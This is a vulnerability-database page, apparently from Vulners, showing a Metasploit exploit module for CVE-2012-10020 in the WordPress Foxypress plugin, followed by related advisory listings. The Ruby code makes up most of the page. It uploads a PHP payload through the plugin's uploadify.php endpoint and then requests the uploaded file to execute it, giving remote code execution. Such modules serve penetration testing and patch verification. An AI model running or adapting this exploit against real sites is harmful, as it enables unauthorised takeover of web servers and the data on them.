Lucene search
+L

WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution

🗓️ 05 Jun 2012 00:00:00Reported by Sammy FORGIT, aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

WordPress Plugin Foxypress uploadify.php Arbitrary Code Executio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-10020
29 May 201815:50
circl
cnnvd
CNNVD
WordPress plugin FoxyPress 代码问题漏洞
22 Jul 202500:00
cnnvd
cve
CVE
CVE-2012-10020
22 Jul 202501:44
cve
cvelist
Cvelist
CVE-2012-10020 FoxyPress <= 0.4.2.1 - Arbitrary File Upload
22 Jul 202501:44
cvelist
euvd
EUVD
EUVD-2012-6566
7 Oct 202500:30
euvd
nvd
NVD
CVE-2012-10020
22 Jul 202502:15
nvd
patchstack
Patchstack
WordPress FoxyPress plugin <= 0.4.2.1 - Arbitrary File Upload vulnerability
21 Jul 202522:05
patchstack
ptsecurity
Positive Technologies
PT-2025-30372
22 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2012-10020
24 Jul 202502:24
redhatcve
vulnrichment
Vulnrichment
CVE-2012-10020 FoxyPress <= 0.4.2.1 - Arbitrary File Upload
22 Jul 202501:44
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
        'Description' => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
          blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
          file upload and remote code execution via the uploadify.php script. The Foxypress
          plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
        },
        'Author' => [
          'Sammy FORGIT', # Vulnerability Discovery, PoC
          'aushack' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-10020'],
          ['EDB', '18991'],
          ['OSVDB' '82652'],
          ['BID', '53805'],
          ['WPVDB', '6231']
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
        'DisclosureDate' => '2012-06-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
    )

    return Exploit::CheckCode::Detected('The target service was detected') if res && res.code == 200

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

    print_status("Sending PHP payload")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )

    if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
      print_error("File wasn't uploaded, aborting!")
      return
    end

    filename = "#{Regexp.last_match[1]}.php"

    print_good("Our payload is at: #{filename}. Calling payload...")
    register_files_for_cleanup(filename)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
    )

    print_error("Server returned #{res.code}") if res && res.code != 200
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation